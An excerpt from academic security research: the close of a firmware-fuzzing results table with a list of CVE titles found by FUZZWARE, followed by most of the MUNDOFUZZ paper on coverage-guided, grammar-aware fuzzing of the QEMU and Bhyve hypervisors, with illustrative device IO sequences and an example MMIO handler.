LiteOS_IOT 2423 - 657 737 - 740 954 - 804 1342 - 804 1343 - 0.26
utasker_Modbus 3780 - 1043 1247 - 1049 1297 - 1057 1326 - 1113 1327 - < 0.01
utasker_USB 3491 - 594 1587 - 961 1669 - 1121 1718 - 1150 1807 - < 0.01
zephyr_socket. 5943 - 2176 2553 - 2282 2722 - 2396 2869 - 2456 2884 - < 0.01
xml_parser 9376 - 1717 3185 - 1781 3602 - 1861 4012 - 1955 4334 - < 0.01

Table 6: Overview of CVE-Assigned Bugs found by FUZZWARE

CVE Product Version Tested Description
CVE-2020-10064 Zephyr OS 2.2.0 Improper Input Frame Validation in ieee802154 Processing
CVE-2020-10065 Zephyr OS 2.2.0 Missing Size Checks in Bluetooth HCI over SPI
CVE-2020-10066 Zephyr OS 2.2.0 Incorrect Error Handling in Bluetooth HCI core
CVE-2020-12140 Contiki NG 4.4 Missing L2CAP frame size validation
CVE-2020-12141 Contiki NG 4.4 Missing size check during SNMP message decoding
CVE-2021-3319 Zephyr OS @d969ac..1cc42d Incorrect 802154 Frame Validation for omitted Source/Dest Address
CVE-2021-3320 Zephyr OS @d969ac..1cc42d Type Confusion in 802154 ACK Frames Handling
CVE-2021-3321 Zephyr OS @d969ac..1cc42d Integer Underflow in IEEE 802154 Fragment Reassembly Header Removal
CVE-2021-3322 Zephyr OS @d969ac..1cc42d Unexpected Pointer Aliasing in IEEE 802154 Fragment Assembly
CVE-2021-3323 Zephyr OS @d969ac..1cc42d Integer Underflow in 6LoWPAN IPHC Header Uncompression
CVE-2021-3329 Zephyr OS @d969ac..1cc42d Incorrect handling of the initial HCI ACL_MTU handshake packet leads to crash of bluetooth host layer
CVE-2021-3330 Zephyr OS @d969ac..1cc42d Linked-list corruption leading to large out-of-bounds write while sorting for forged fragment list
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Abstract
A hypervisor is system software, managing and running vir-
tual machines. Since the hypervisor is placed at the lowest-
level in the typical systems software stack, it has critical se-
curity implications. Once compromised, the entire software
components running on top of the hypervisor (including all
guest virtual machines and applications running within each
guest virtual machine) are compromised as well, as the hyper-
visor has all the privileges to access those.

This paper proposes MUNDOFUZZ, a hypervisor fuzzer
to enable both coverage-guided and grammar-aware fuzzing.
We find that the coverage measurement in hypervisors suf-
fers from noises due to the hypervisor’s asynchronous
system event handling. In order to filter out such noises,
MUNDOFUZZ develops a statistical differential coverage mea-
surement methods, allowing MUNDOFUZZ to capture the
clean coverage information for hypervisor inputs. Moreover,
we observe that hypervisor inputs have complex input gram-
mars because it supports many different devices and each
device has its own input format. Thus, MUNDOFUZZ learns
the input grammar through inspecting the coverage charac-
teristics of the given hypervisor input, which is based on the
idea that the hypervisor behaves in a different way if the
grammatically correct (or incorrect) input is given. We eval-
uated MUNDOFUZZ with popular hypervisors, QEMU and
Bhyve, and MUNDOFUZZ outperformed other state-of-the-art
hypervisor fuzzers ranging from 4.91% to 6.60% in terms of
coverage. More importantly, MUNDOFUZZ identified 40 pre-
viously unknown bugs (including 9 CVEs), demonstrating its
strong practical effectiveness in finding real-world hypervisor
vulnerabilities.

1 Introduction

A hypervisor is system software, managing and running vir-
tual machines (VMs). The key technical advantage of us-
ing the hypervisor is in its resource virtualization capability,

∗Corresponding author

which enables a single host machine to run multiple guest
VMs. This advantage becomes particularly important as the
computing trends are rapidly shifting towards cloud comput-
ing. Using the hypervisor, cloud computing platforms can
facilitate flexible resource managements on virtualized plat-
forms, which can efficiently service for billions of users [18].
From the security point of view, hypervisors introduce crucial
attack surface to be protected. Importantly, a hypervisor is
running at the lowest layer in the typical systems software
stack, so it is given the highest security privilege of the host
machine. Consequently, any successful compromise exploit-
ing hypervisor vulnerabilities would allow attackers to gain
privilege of the entire host machine, including the hypervisor
itself as well as all guest VMs running on top of them.

Meanwhile, fuzzing techniques have been shown its ef-
fectiveness in identifying unknown vulnerabilities in various
software systems. The fuzz testing keeps running the target
software with a randomly generated or mutated input. While
running, it identifies the vulnerability by checking if the run
leads to any unexpected behavior (e.g., a crash, a hang, or rais-
ing the assert violation). In general, the effectiveness of the
fuzz testing heavily relies on the quality of its randomly gener-
ated or mutated input, as it determines the overall testing cov-
erage with respect to the target software. In order to improve
the quality of test inputs, many traditional fuzzers leverage
two key features, coverage-guided fuzzing [29,39,40,52] and
grammar-aware fuzzing [27,35,36,38,45]. First, the coverage-
guided fuzzing improves the quality of input by leveraging
code coverage measurement. Based on the coverage measure-
ment, it keeps evaluating the quality of tested inputs. Then it
only retains the good quality of inputs for the future test while
discarding the bad quality of inputs, which gradually helps
the fuzzer keep testing the good quality of inputs. Second,
the grammar-aware fuzzing directly encodes the grammar of
input semantics into the input generation and mutation logic,
such that the fuzzer tests grammatically correct inputs if pos-
sible. This allows the grammar-aware fuzzing technique to
explore in-depth logic of the target program, which helps to
augment the testing coverage.
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When it comes to hypervisor fuzzing, we find that it is chal-
lenging to employ aforementioned two key fuzzing features,
coverage-guided and grammar-aware fuzzing. This is due to
the following unique systems characteristics of hypervisors.
First, it is challenging to employ coverage-guided fuzzing
in hypervisors because the precise coverage measurement of
hypervisor execution is difficult. Specifically, hypervisors are
responsible of handling various events, ranging from asyn-
chronous ones from interrupts and a timer to deterministic
ones from non-target devices, which are not relevant to a spe-
cific feature targeted by the provided inputs. Since all these
noise events will be attributed to the coverage measurement,
the measured coverage for each input would be imprecise. It
is worth noting that the previous work VDF [37] attempted
to handle this noise issue through manual hypervisor code
partitioning, but it require non-trivial manual efforts.

Second, grammar-aware fuzzing for hypervisors is chal-
lenging because of complex inputs grammars that the hy-
pervisor accepts. Hypervisors support many different virtual
devices, where each device has its own unique input seman-
tics. Moreover, these devices accept the input through various
IO interfaces (i.e., port IO, memory-mapped IO, and DMA),
which further complicates the input grammar. In order to han-
dle this issue, the previous work NYX [46] manually wrote
the grammar rule based on the documentation, but this re-
quires heavy manual efforts considering the complexity of IO
interfaces as well as a large number of virtual devices.

This paper proposes MUNDOFUZZ, a hypervisor1 fuzzer
that is carefully designed to enable both coverage-guided and
grammar-aware fuzzing. First, in order to enable coverage-
guided fuzzing, MUNDOFUZZ proposes a new statistical dif-
ferential testing approach to precisely measure the coverage.
This is based on the observation that while the true cover-
age information would be measured in the same way, the
noisy-coverage information would appear in a different way
if the coverage is measured multiple times. Leveraging this
observation, MUNDOFUZZ takes statistical complement and
intersection from multiple coverage measurement to obtain
the clean coverage information from the hypervisor input.
Second, to enable the grammar-aware fuzzing, MUNDOFUZZ
automatically infers grammar rules regarding the device reg-
ister types (e.g., control, data and DMA address registers)
and dependencies in hypervisor inputs. The key idea behind
this grammar learning is that the hypervisor behaves differ-
ently if the grammatically correct (or incorrect) hypervisor
input is given. Based on this idea, MUNDOFUZZ is capable
of inferring the grammar through inspecting the coverage
characteristics of the given hypervisor input.

We implemented the prototype of MUNDOFUZZ and eval-
uated it with popular hypervisors, QEMU and Bhyve. Accord-
ing to our evaluation, MUNDOFUZZ outperforms the state-of-
the-art hypervisor fuzzer HYPER-CUBE by 4.91% and NYX

1Specifically, Type-2 hypervisor in the paper.

by 6.60% in terms of coverage. Looking into the details,
MUNDOFUZZ’s precisely measured coverage significantly
improved the accuracy of grammar inferences, increasing
the accuracy of register types 87.2% on average. Moreover,
MUNDOFUZZ’s automated grammar inference showed a com-
parable performance to NYX, which manually specified the
grammar rules. MUNDOFUZZ also identified 40 new bugs
including 9 CVEs (i.e., 23 bugs in QEMU and 17 bugs in
Bhyve), which demonstrate its strong practical effectiveness
in finding real-world hypervisor vulnerabilities.

2 Background

2.1 Hypervisor

A hypervisor is a software application which runs multiple
virtual machine (VM) instances. The major role of a hyper-
visor is to virtualize a set of machine resources, such as the
number of processors or memory space, and to provide the
functionalities of peripheral devices to VM instances.

One of the core features in hypervisors is in emulating
devices, known as virtual devices. In particular, hypervisors
typically use the trap mechanism to emulate privileged instruc-
tions, which delegate the access to the underlying privileged
resources. For example, any operation that directly accesses
a device register from a VM instance is designed to raise a
trap, which hands over the control to the hypervisor. Then the
hypervisor accordingly emulates the operation by forward-
ing it to the corresponding virtual device in the hypervisor.
After the virtual device finishes the operation, the hypervisor
eventually returns the results and resumes the VM.
Input Space of Hypervisors. A virtual device in a hypervi-
sor accepts various IO operations from VM instances ranging
from port IO (PIO) and memory-mapped IO (MMIO) to direct
memory address (DMA). Primarily, a virtual device exposes
device registers through PIO and MMIO. PIO is the most
primitive input channel that presents a separate address space
that is mapped to device registers, where the address space
is only addressable through special instructions (in/out). On
the other hand, MMIO dedicates a range of memory address
to device registers, so that device registers are addressable via
memory operations (e.g., load or store).

A virtual device can also accept IO operations through
DMA as well. In DMA, the OS kernel (i.e., the guest kernel
that resides in a VM instance) first allocates a shared memory
buffer and informs the address to the virtual device. The
virtual device then directly accesses the buffer to receive IO
operations or place return data.
Completion Signal. When a virtual device completes a spec-
ified task by the IO operations and falls back to the idle state,
it notifies the VM instance by sending a completion signal.
The completion signal can be through hardware interrupt or
a dedicated device register, where a certain bit signifies the
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VDF [37] ✓ ✓ ✗ △ △ ✗
HYPER-CUBE [47] ✓ ✓ ✓ ✗ ✗ ✗
NYX [48] ✓ ✓ ✓ ✓ ✗ △

MUNDOFUZZ ✓ ✓ ✓ ✓ ✓ ✓

△: Manual work required.

Table 1: Comparison of major hypervisor fuzzers.

device state. However, for most virtual devices, the method is
configurable by the VM instance.
Determinism. Most virtual devices solely depend on the IO
operations provided by VM instances. However, some virtual
devices are asynchronous and depend on non-deterministic
sources, such as physical time. For example, since timers and
interrupt controllers depend on physical time, their operations
are generally irrelevant to the IO operations.

2.2 Fuzzing Hypervisors

Overall, previous works on hypervisor fuzzing have adopted
the general lessons from traditional fuzzing techniques, but
the direction of development has been changed due to the
characteristics of hypervisors.
Coverage-guided Fuzzing. At the early stage, hypervisor
fuzzing followed the convention of general coverage-guided
fuzzing techniques [15, 52]. VDF [37] is one of the early
coverage-guided hypervisor fuzzer, which fuzzes the virtual
devices in QEMU using AFL [52]. To suppress coverage
noises from irrelevant hypervisor parts such as non-target
virtual devices and asynchronous interrupts, VDF manually
partitions the hypervisor into stand-alone virtual device parts
and fuzzed them separately. However, this process requires
heavy manual efforts to extract virtual devices, and is also
error-prone while manually partitioning the hypervisor code.

Recently, NYX [46] also employs the coverage-guided
fuzzing by instrumenting the entire hypervisor. However,
since NYX does not manually partition the hypervisor code,
it suffers from the noises in the coverage measurement.
Throughput-oriented Fuzzing. As incorporating coverage
guide is tricky, another approach preferred fuzzing perfor-
mance to coverage guide. For example, HYPER-CUBE [47]
drops the coverage guide support and rather randomly gen-
erates hypervisor inputs on-the-fly. However, since this ap-
proach does not recognize meaningful hypervisor inputs, it
cannot develop hypervisor inputs for complex device states.
Grammar-based Fuzzing. NYX [46] employs a grammar-
based fuzzing technique to explore complex device states.
To enable grammar awareness, NYX utilized grammar spec-
ification in device documentations and manually wrote the
grammar rules for each device. However, manually embed-

Dependencies
between IO Requests

Types of Registers

Enable
Device

Write
Data

DMA
Config

Find
Sector

Enable
Device

DMA
Config

Find
Sector

Write
Data

Hypervisor Input

IO Requests

writel(0x00, bar+0);
writel(0x01, bar+4);

outl(0xa0, iobar+8);
writel(0x02, bar+4);

writel(0x10, bar+0);
writel(0x04, bar+4);

*(0xa0) = 0xbeef;
*(0xa2) = 0x1ee7;
writel(0x08, bar+4);

IO Operations

bar+0: Data

bar+4: Control

iobar+8: DMA
Address

Figure 1: Example of a hypervisor input and its two key semantic
constraints; types of registers and dependencies between IO requests.

ding grammar specification for all virtual devices requires an
unacceptable manual efforts. Furthermore, the device docu-
mentation is non-trivial to interpret due to the complex details,
manually organized grammars may end up with incorrect
grammar rules.

3 Challenges in Hypervisor Fuzzing

In this section, we articulate two key challenges in performing
hypervisor fuzzing, namely i) noises in coverage measure-
ment, which deters the coverage-guided fuzzing (§3.1) and
ii) complex input semantics, which makes difficult to enable
the grammar-aware fuzzing (§3.2).

3.1 Noises in Coverage Measurement
Since hypervisors are just an application from the perspective
of a host machine, measuring the coverage of hypervisors
may seem straightforward, similar to measuring the coverage
of typical user applications.

However, we find that coverage measurement for hypervi-
sors is challenging largely due to its inherent system charac-
teristics. As noted in §2, a hypervisor is designed to virtualize
the entire machine resources, so it is responsible for handling
various asynchronous events, notably interrupts and timer
events. Because such asynchronous events are irrelevant to
a certain input to the hypervisor, simply employing tradi-
tional coverage measurement techniques would suffer from
severe non-deterministic noises. For instance, if any asyn-
chronous interrupt is triggered while measuring the coverage
of a certain IO operation, the resulting coverage ends up being
a mixture of target device coverage and interrupt coverage.
These non-deterministic noises in coverage measurements
would critically harm the coverage-guided fuzzing, because
the coverage-guided fuzzing assumes the deterministic cov-
erage measurement—i.e., the same input should lead to the
same coverage.

3.2 Complex Input Grammar
We find that hypervisor inputs have complex input grammar
semantics, challenging the fuzzing performance for efficient
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Figure 2: Overall workflow of MUNDOFUZZ.

input generation and mutation. This is largely due to the
fact that most of hypervisor inputs are presented in low level
memory or IO operations, and each memory operation can
have its own unique semantic meanings depending on i) a
memory or IO address; ii) a value it is writing; iii) a context
that the memory or IO operation is performed.

In order to clearly understand this challenge, we take an
example with a simplified hypervisor input for a generic disk
device (illustrated in Figure 1). The input consists of a se-
quence of low-level IO operations that feed values through
PIO/MMIO registers (i.e., using outl()/writel()) and writes
data to a DMA buffer (i.e., *(0xa0)=...). To initialize the
device, it first aligns the current sector to 0 before enabling
the device ("Enable Device") and configures the DMA buffer
for data transfer ("DMA Config"). After initialization, it finds
the target sector 0x10 ("Find Sector") and writes data through
the DMA buffer ("Write Data").

As shown in this example, hypervisor inputs are a short
sequence of low-level IO operations, which is difficult to un-
derstand its semantic meaning by looking at an individual IO
operation. In order to reconstruct the semantic meaning, one
needs to understand the operational characteristics of hypervi-
sor inputs: i) a collective set of IO operations forms a certain
high-level task in a device; ii) a target memory address of an
IO operation (i.e., device registers) has a dedicated seman-
tic meaning; and iii) IO operations have order dependencies
between them, which should be kept to correctly function.
Based on these operational characteristics, we elaborate each
characteristic in the followings.

IO Request: A High-level Semantic Unit. To clearly de-
note the high-level semantic unit, we define the term, an IO
Request, which is a collective set of IO operations constituting
a high-level semantic task. Such a high-level task is completed
with a notification signal, delivered through either an inter-
rupt or a status register. For example, IO requests in Figure 1
are "Enable Device", "DMA Config", "Find Sector" and "Write Data".
We note that an IO request qualifies as a semantic unit of
hypervisor inputs, because it has the property of requesting a
specific functionality to its downstream (i.e., the hypervisor).

Semantics in Device Register. Device registers in hypervi-
sor can be considered as a memory address, which is a main
communication channel between a hypervisor and a device.

Depending on the usage, device registers can be categorized
into following three types: i) a control register, which trans-
fers the control values that indicate the desired function or
operation mode; ii) a data register, which transfers a data pa-
rameter that is necessary for device functions; and iii) a DMA
address register, which transfers the base address of a DMA
buffer to the device.

From the perspective of grammar-aware fuzzing, recogniz-
ing these register types is important grammar information as
these critically impact the hypervisor operations. For example
in Figure 1, the register bar+4 is a control register that invokes
the desired functionality inside the disk device, the register
bar+0 is a data register that specifies a desired sector number
to the device, and the register iobar+8 is a DMA register that
informs the DMA buffer address. If the fuzzer is not aware of
these register types when generating or mutating hypervisor
inputs, its fuzzing performance would be severely limited. To
be specific, while mutating control registers is likely extend
the code coverage (because it would try different functional-
ity), mutating data registers is not (because it would simply
provide different value). More critically, if the fuzzer does not
recognize the DMA register, it would not be able to synthesize
(or mutate) any semantically correct hypervisor inputs per-
forming DMA operations. This is because all the following
DMA operations would be depending on the DMA buffer
address which is delivered through the DMA register.
Dependency in IO Requests. We further observe that the
IO requests also have dependencies to each other, mean-
ing that there are necessary orders between IO requests to
correctly function. For example in Figure 1, the IO request
"Enable Device" needs to precede all IO requests since any IO
requests are invalid before it enables the device. Similarly,
"Find Sector" needs to precede "Write Data" as data can only be
written properly after the disk device finds the sector. Main-
taining such dependency relations is essential for synthesizing
hypervisor inputs, as they are functional only when a sequence
of IO requests observes the dependencies.

4 Design of MUNDOFUZZ

MUNDOFUZZ is a coverage-guided hypervisor fuzzer, which
synthesizes hypervisor inputs with grammar awareness.
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writel(0x00, bar+0);
writel(0x01, bar+4);
  /* Interrupt */

/* 0xa0 = dma_alloc(4); */

outl(0xa0, iobar+8);
writel(0x02, bar+4);
  /* Interrupt */

writel(0x10, bar+0);
writel(0x04, bar+4);
  /* Interrupt */

*(0xa0) = 0xbeef;
*(0xa2) = 0x1ee7;
writel(0x04, bar+4);
  /* Interrupt */

Virtual Device

Device Driver

User Application
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OS Kernel

Hypervisor
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2 3

Hypervisor Input Trace

IO Requests

Request #1
(Enable Dev.)

Request #2
(DMA Config)

Request #4
(Write Data)

Virtual Machine

PIO/MMIO DMA

Interrupt

Request #3
(Find Sector)

Figure 3: Overview of hypervisor input collection (§4.1).

MUNDOFUZZ is designed to address the two challenges de-
scribed in §3. First, to remove coverage noise, MUNDOFUZZ
employs statistical and differential testing techniques to pre-
cisely measure the clean coverage information (§4.2.1). Sec-
ond, to synthesize grammatically correct hypervisor inputs,
MUNDOFUZZ automatically learns grammar rules regarding
the device register types and dependencies between IO re-
quests (§4.2).

The overall workflow of MUNDOFUZZ is illustrated in Fig-
ure 2. MUNDOFUZZ first collects hypervisor input traces is-
sued by various real-world applications and partition them
into IO requests as the units of semantics (§4.1). Next,
MUNDOFUZZ infers grammar rules through leveraging the
coverage characteristics of hypervisor operations, particularly
focusing on two things: i) the device register types and ii)
the dependencies between IO requests (§4.2). Finally, during
a fuzzing run, MUNDOFUZZ synthesizes hypervisor inputs
using the inferred grammar constraints (§4.3).

4.1 Collecting Hypervisor Input
The goal of hypervisor input collection is to collect a variety
of inputs for virtual devices. To do this, MUNDOFUZZ col-
lects real-world input traces by monitoring the IO interactions
between the OS kernel and the device at the kernel level.
Workflow. Figure 3 shows the overview of the IO operation
collection. While user applications (e.g., dd and fsck) invoke
a device driver ( 1 ), the MUNDOFUZZ logger intercepts the
PIO/MMIO and DMA operations issued by the kernel and
records them to a hypervisor input trace ( 2 ). Upon receiv-
ing an interrupt that notifies the completion of a request, the
logger slices the trace to create an IO request ( 3 ).
Recording PIO/MMIO Operations. To collect PIO and
MMIO operations, MUNDOFUZZ leverages the common
practice that the kernel provides PIO/MMIO APIs to com-
municate with peripheral devices. Notice that these primitive
APIs are well-documented in most popular OSes, as these
are heavily used by the third-party drivers. For example in
the Linux kernel, readl()/writel() are the dedicated primi-
tive APIs for the MMIO accesses, and inl()/outl() are the
primitive APIs for the PIO accesses.

As such, MUNDOFUZZ attaches a logger to these ker-
nel primitive APIs for PIO/MMIO. Logging these APIs,
MUNDOFUZZ is able to record all the PIO/MMIO operations
with their access type (e.g., read or write), access address, and
the write value if applicable. It is worth noting that device
drivers may directly utilize host instructions to communi-
cate with PIO/MMIO. In this case, MUNDOFUZZ may utilize
page fault traps as employed for DMA below, but we have
not encountered such cases during our evaluation with Linux.
Recording DMA Operations. Unlike PIO/MMIO, DMA
operations are not performed through dedicated kernel APIs,
because its operations can be seen as ordinary memory read-
/write instructions. Thus, MUNDOFUZZ leverages the fact
that most OSes provide a primitive API to allocate a DMA
memory buffer (e.g., dma_map_single() in the Linux ker-
nel). More specifically, the MUNDOFUZZ logger monitors
all DMA buffer allocation events, then it installs a page fault
trap for all the memory pages allocated for new DMA buffers.
Later when a DMA operation attempts to access the DMA
buffer, the MUNDOFUZZ logger intercepts the page fault han-
dler and records the DMA operation with its access address
and the write value. To transparently resume the execution,
MUNDOFUZZ temporarily allows the DMA operation to ac-
cess the buffer again and reinstalls a page fault trap right after
the access using the single-step debugging feature [3].
Recording DMA Buffer Allocations. Along with record-
ing DMA operations, MUNDOFUZZ additionally records the
DMA buffer allocation events for the future inference task
that we describe later in §4.2.2 and §4.2.3. Specifically,
MUNDOFUZZ intercepts the DMA buffer allocation API and
records the allocation events with their addresses and sizes.

4.2 Inferring Input Semantics
Using the collected input trace, MUNDOFUZZ infers the se-
mantic constraints (i.e., the types of registers and the depen-
dencies between IO requests) by observing the coverage char-
acteristics of the target device while algorithmically manip-
ulating the trace. To this end, MUNDOFUZZ first constructs
a primitive algorithm to remove coverage noise from an in-
strumented hypervisor (§4.2.1). Using this, MUNDOFUZZ
then infers the register types and IO request dependencies by
inspecting coverage characteristics (§4.2.2 and §4.2.3).

4.2.1 Removing Noises in Coverage

To remove coverage noise, MUNDOFUZZ takes a statistical
differential testing approach as follows. First, MUNDOFUZZ
first obtains the coverage of an individual IO opera-
tion, which still contains non-deterministic noises. Second,
MUNDOFUZZ removes the non-deterministic noise by itera-
tively intersecting the coverage. Finally, MUNDOFUZZ recon-
structs the target device coverage (i.e., an IO request coverage)
by merging the coverages from individual IO operations.
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Figure 4: Workflow of IO operation coverage capture (§4.2.1). The
green box (■) and the lighter grey box (■) represent the target and
non-target IO operation coverage, respectively. The dark gray box
(■) with hatch patterns represents non-deterministic noise.
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Figure 5: Overview of noise coverage removal (§4.2.1). The green
box (■) represents the target IO operation coverage, and the grey
box (■) with hatch patterns represents non-deterministic noise.

Capturing Noisy IO Operation Coverage. Notice that as
the hypervisor executes more IO operations, it is more likely
that the coverage feedback suffers from more noises. To mini-
mize this side-effect as much as possible, this stage first nar-
rows down the scope of coverage measurement to the smallest
level, namely a single target IO operation.

It is worth noting that simply executing a single IO opera-
tion alone would not show the original coverage, because it
depends on the device state established by the preceding IO
operations. Thus, we take the differential testing approach:
we measure the coverage of two hypervisor inputs, one input
includes the target IO operation and the other does not. Then
we take the complement of these so as to obtain the coverage
of the target IO operation.

For instance, Figure 4 describes the procedure step by step.
First, MUNDOFUZZ measures the raw coverage by executing
the hypervisor input up to the target IO operation, which cap-
tures non-deterministic noises (■) as well as the true target IO
operation coverage (■) ( 1 ). Next, MUNDOFUZZ measures
the background coverage by re-executing the same hypervisor
input but excluding the target IO operation, which does not
contain the true target IO operation coverage ( 2 ). Finally,
MUNDOFUZZ takes the complement coverage Cov⊖ by sub-
tracting two coverages ( 3 ). This results in the coverage of
the target IO operation as well as non-deterministic noises.
As a next step, we describe how to filter out non-deterministic
noises to obtain the clean target IO operation.

void dev_writel(value, addr) {
    switch (addr) {
        case bar+0:   // Data reg.

            sector = value;  break;
        case bar+4:   // Control reg.

            if (value & 0x1)   {    /* Enable dev. */    }
            else if (value & 0x2)   {       /* DMA config */       }
            break;
}}

(a) Example MMIO handler in the virtual device. The shade colors
(■, ■, ■ and ■) represent the coverage activated when the corre-
sponding code is touched.

Cov(ℍ, □) Cov(ℍ←□, □)a b

o1 0xa0

o2

o3

✓ 0xa0

✗

✗

~ ~

(b) Inferring the type of registers in Figure 3. The colored boxes
(■, ■, ■ and ■) represent the coverage activated by touching the
corresponding code in Figure 6a. □ represents the placeholder for the
IO operations (o1, o2 and o3) on the corresponding row. □̃ denotes
the IO operation with the bitwise inverted value.

Figure 6: Workflow of device register type inference (§4.2.2).

Removing Noises from IO Operation Coverage. Since
non-deterministic noises result in different coverages in every
execution, simply taking the complement (as we have done
before) does not remove non-deterministic noises. To handle
this issue, we take the statistical approach based on the follow-
ing idea: even if non-deterministic noises keep changing, the
true target IO operation coverage would always be measured.
In order to leverage this idea, we take a sufficiently large
number of complement coverages and effectively remove any
changing coverage by intersecting them all.

More formally, let Cov⊖(H,o) be the complement cov-
erage of the target IO operation o in the hypervisor
input H. If we have n-many complement coverages,
we can define the intersection coverage Cov∩ (H,o) as
Cov∩ (H,o) = ∩i∈[1,...,n] Covi

⊖(H,o).

For example, Figure 5 illustrates this procedure. While
each complement coverage includes its own non-deterministic
noises (■), taking the intersection of those cancels out those
noises. As a result, the intersection coverage only includes
the target device coverage (■).

Reconstructing IO Request Coverage. Based on the clean
coverage of each IO operation, we can now reconstruct the
coverage of an IO request by summing up the coverage of IO
operations. Formally, we denote Cov(H, R⃗) as the coverage
of R⃗ (i.e., an IO request) in H (i.e., a hypervisor input), which
can be computed as Cov(H, R⃗) = ∪o∈R⃗ Cov∩ (H,o).
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4.2.2 Device Register Type Inference

We identify three types of registers through which a hyper-
visor accepts as input. As noted in §2.1, these include data,
control, and DMA address registers. In order to identify three
register types, MUNDOFUZZ goes through the procedure as
follows. First, MUNDOFUZZ identifies DMA address regis-
ters by checking whether their values are rooted from the
DMA buffer allocation API. Next, MUNDOFUZZ identifies
control registers by inspecting whether the coverage exhibits
differently when they are provided with alternative values.
Finally, MUNDOFUZZ classifies the rest as data registers.
Identifying DMA Address Registers. To identify DMA
address registers, MUNDOFUZZ leverages the fact that their
role is providing valid DMA buffer addresses to the device,
This means that they always accept the address of valid DMA
buffers. Since we record the DMA allocation events in §4.1,
we can recognize DMA address registers by checking whether
they are provided with legitimate DMA buffer addresses.

For example, Figure 6b illustrates how MUNDOFUZZ iden-
tifies the DMA address register. When the DMA buffer allo-
cation API is invoked dma_alloc(0xa0, 4), MUNDOFUZZ
marks [0xa0, 0xa4) as an address range of the DMA buffer.
When the first IO operation o1 writes the value 0xa0 to the
register iobar+8, MUNDOFUZZ recognizes that the value is
within the valid DMA buffer address range, and accordingly
marks the register iobar+8 as a DMA address register.

In addition to registers, we observe that some bytes in DMA
buffers also occationally accept the address of another DMA
buffer, mainly to chain them together and make a linked list.
In this case, we also mark the offset of such bytes in the DMA
buffer as a DMA address type and treat them as such.
Identifying Control Registers. The key idea behind iden-
tifying control registers is that a control register exhibits a
different control flow depending on its value. Figure 6a illus-
trates an example when MMIO handler receives the kernel-
side MMIO register writes (writel). Unlike the data register
bar+0 that simply updates the local variable to the given value,
the control register bar+4 uses the value to decide the control
logic (i.e., if and else if).

As such, MUNDOFUZZ infers control registers by inspect-
ing if they exhibit different coverages when it is provided
with alternative values. Currently, MUNDOFUZZ uses a bit-
inverted value as an alternative value based on the observation
that a control register often contains a set of control flags. As
this observation may not always be true, MUNDOFUZZ also
assigns a random value with a low probability (i.e., 25% in
the current configuration) to handle the case that the control
register takes unique constant values.

More formally, let õ be the IO operation o with a mod-
ified value, and H ← õ be the hypervisor input H where
the IO operation o is replaced to õ. MUNDOFUZZ con-
siders the type of the destination register as control if
Cov(H,o) ̸= Cov(H← õ, õ).
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Figure 7: Workflow of IO request dependency inference (§4.2.3).
IO requests are from Figure 1. H is the hypervisor input that con-
catenates the IO requests R⃗1, R⃗2, R⃗3, and R⃗4 in order. □ represents
the placeholder for the IO requests (R⃗1, R⃗2, R⃗3 and R⃗4) on the corre-
sponding row. The hatched boxes represent the different coverage
from the base coverage. The red lines represent the new dependency
edges created by the DMA activity or the absence coverages above.

Figure 6 demonstrates how MUNDOFUZZ infers control
and data registers with an example IO sequence in Figure 3.
MUNDOFUZZ first changes the value of the second IO opera-
tion o2 to the bit-inverted value 0xfd and inspects if it changes
the coverage of o2. Notice that while the original value 0x02
leads to the second condition (■) in the device-side MMIO
handler in Figure 6a, the bit-inverted value 0xfd leads to the
first condition (■) as 0xfd&0x01= 1. So MUNDOFUZZ de-
tects the resulting coverage difference and marks the register
bar+4 as a control register. Meanwhile, the coverage of the
third IO operation o3 does not change regardless of the value,
since the register bar+0 always executes the same code (■).
Accordingly, MUNDOFUZZ marks bar+0 as a data register.

4.2.3 IO Request Dependency Inference

To facilitate inferring the dependencies between IO requests,
we first identify two kinds of dependencies between them,
namely operational and logical. The operational dependen-
cies are the dependencies established by the IO operations
that constitute the IO requests. For example, the IO request
"Write Data" in Figure 1 is operationally dependent to the
IO request "DMA Config", because the DMA operations in
"Write Data" are only legitimate after the buffer is registered by
"DMA Config". On the other hand, the logical dependencies are
the dependencies established by the internal device logic. For
example, the IO request "Write Data" is logically dependent
to the IO request "Find Sector", because the internal device
logic requires "Find Sector" to find the target sectors before
"Write Data" writes.
Workflow. To address each dependency kind, MUNDOFUZZ
takes separate approaches as follows. While collecting IO
requests, MUNDOFUZZ first initializes the dependency graph
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Figure 8: Workflow of fuzzing and input synthesis (§4.3). The magenta-shaded shapes represent the new request R⃗∗ created by mutating the
control register bar+4 (0x08→ 0x16) of the request R⃗4. The hatched box represents new coverage discovered by R⃗∗.

using the operational dependencies revealed by the DMA op-
erations. After initialization, MUNDOFUZZ infers the logical
dependencies by inspecting the coverage variation of each
IO request when other IO requests are alternately absent. If
the absence of a certain IO request severely distorts the cov-
erage of others, MUNDOFUZZ creates the dependency edges
between the absent IO request and the influenced ones.
Initialization with Operational Dependencies. As noted,
the operational dependencies are established by the constitut-
ing IO operations, whose dependency relations are dictated
by the life cycle of DMA buffers. To review the life cycle, a
kernel first allocates a DMA buffer and registers its address
through a DMA address register. After the device recognizes
the address of the DMA buffer through the DMA address
register, the kernel references the DMA buffer with DMA op-
erations to transfer data to the device. This life cycle suggests
that the IO request registering the address of the DMA buffer
must precede any IO requests referencing the buffer.

Figure 7 illustrates an example that leverages this prin-
ciple to initialize the dependency graph between the IO re-
quests in Figure 3. Since the IO request "DMA Config" reg-
isters the DMA buffer that is referenced by the IO request
"Write Data", "DMA Config" must be located before "Write Data".
MUNDOFUZZ accordingly creates the dependency edge be-
tween them to provision the minimum dependency graph,
which must be maintained in the final result.
Construction with Inferred Logical Dependencies. Un-
like the operational dependencies that can be reconstructed
from the collected IO operations, the logical dependencies
arise from the internal device logic, which makes the de-
pendencies hard to figure out. In order to infer the logical
dependency, we observe that an IO request works differently
if the logically-dependent IO request is absent, resulting in
significant coverage differences.

Thus, MUNDOFUZZ detects the logical dependencies by
inspecting whether the absence of an IO request changes the
coverage of another IO request. Formally, let Cov(H, R⃗) be
the base coverage of the IO request R⃗, and Cov(H− R⃗′, R⃗)
be the absence coverage of R⃗ when the IO request R⃗′ is
skipped. The IO request R⃗ is then logically dependent to
R⃗′ if Cov(H, R⃗) ̸= Cov(H− R⃗′, R⃗).

Figure 7 illustrates how MUNDOFUZZ constructs the de-
pendency graph using the hypervisor input in Figure 1 as
an example. First, MUNDOFUZZ detects the dependencies
between R⃗1 and all other IO requests, as the absence of R⃗1
changes all the following coverages ( a ). MUNDOFUZZ does
not create the dependency edge between R⃗1 and R⃗4, as it is
